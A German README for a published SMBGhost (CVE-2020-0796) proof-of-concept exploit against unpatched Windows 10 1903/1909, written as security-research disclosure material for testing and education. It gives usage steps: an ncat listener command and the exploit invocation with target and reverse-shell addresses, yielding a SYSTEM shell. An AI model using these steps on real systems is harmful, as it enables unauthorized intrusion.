
Proof-of-Concept-Exploit zur Remote-Codeausführung für CVE-2020-0796 (SMBGhost), der auf ungepatchte Windows 10 1903/1909 abzielt. Liefert eine Reverse Shell über eine SMB-Protokoll-Schwachstelle. Nur für autorisierte Tests und Bildungszwecke vorgesehen.
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Fehler von Angreifern finden
Remotecodeausführung POC für CVE-2020-0796 / "SMBGhost"
Erwartetes Ergebnis: Reverse Shell mit Systemzugriff.
Nur für Bildungszwecke und Tests in Unternehmensumgebungen vorgesehen.
ZecOps übernimmt keine Verantwortung für den Code, Nutzung auf eigene Gefahr.
Bitte kontaktieren Sie [email protected], wenn Sie an agentenlosen DFIR-Tools für Server, Endpunkte und mobile Geräte interessiert sind, um SMBGhost und andere Angriffsarten automatisch zu erkennen.
Stellen Sie sicher, dass Python und ncat installiert sind.
Führen Sie calc_target_offsets.bat auf dem Zielcomputer aus und passen Sie die Offsets am Anfang der Datei SMBleedingGhost.py gemäß der Skriptausgabe an (siehe auch den Hinweis unten).
Führen Sie ncat mit den folgenden Befehlszeilenargumenten aus:
ncat -lvp <port>
Wobei <port> die Portnummer ist, auf der ncat lauscht.
Führen Sie SMBleedingGhost.py mit den folgenden Befehlszeilenargumenten aus:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Wobei <target_ip> die IP-Adresse des verwundbaren Zielcomputers ist. <reverse_shell_ip> und <reverse_shell_port> sind die IP-Adresse und die Portnummer, auf der ncat lauscht.
Wenn alles gut läuft, zeigt ncat eine Shell an, die Systemzugriff auf den Zielcomputer bietet.
Hinweis: Sie fragen sich vielleicht, warum es notwendig ist, das Skript calc_target_offsets.bat auf dem Zielcomputer auszuführen, und ob das nicht den ganzen Zweck der Remotecodeausführung als solche zunichtemacht. Diese Offsets sind nicht zufällig und sind auf allen Windows-Instanzen derselben Windows-Version gleich. Man könnte den Angriff universeller machen, indem man die Windows-Version des Ziels erkennt und die Offsets automatisch anpasst, oder indem man ganz darauf verzichtet, aber es ist nur ein POC und wir haben das Einfachere getan. Wir sehen es auch als gute Sache an, dass der POC nicht universell und für andere Zwecke als Tests und Bildung nicht praktisch ist.

Windows 10 Versionen 1903 und 1909 sind betroffen. Nicht gepatchte Windows 10 1903 Versionen werden aufgrund eines Null-Dereference-Fehlers in Windows (behoben in KB4512941) nicht unterstützt.
Aufgrund der Art der Ausnutzung funktioniert der POC am besten für Ziele, die auf einem Computer (oder einer VM) mit einem einzelnen logischen Prozessor laufen. Ziele mit mehr als einem logischen Prozessor, die in VirtualBox laufen, sollten ebenfalls unterstützt werden, aber der POC ist in diesem Fall weniger zuverlässig. Andere Ziele werden möglicherweise nicht unterstützt. Einzelheiten finden Sie in unserem technischen Writeup unten.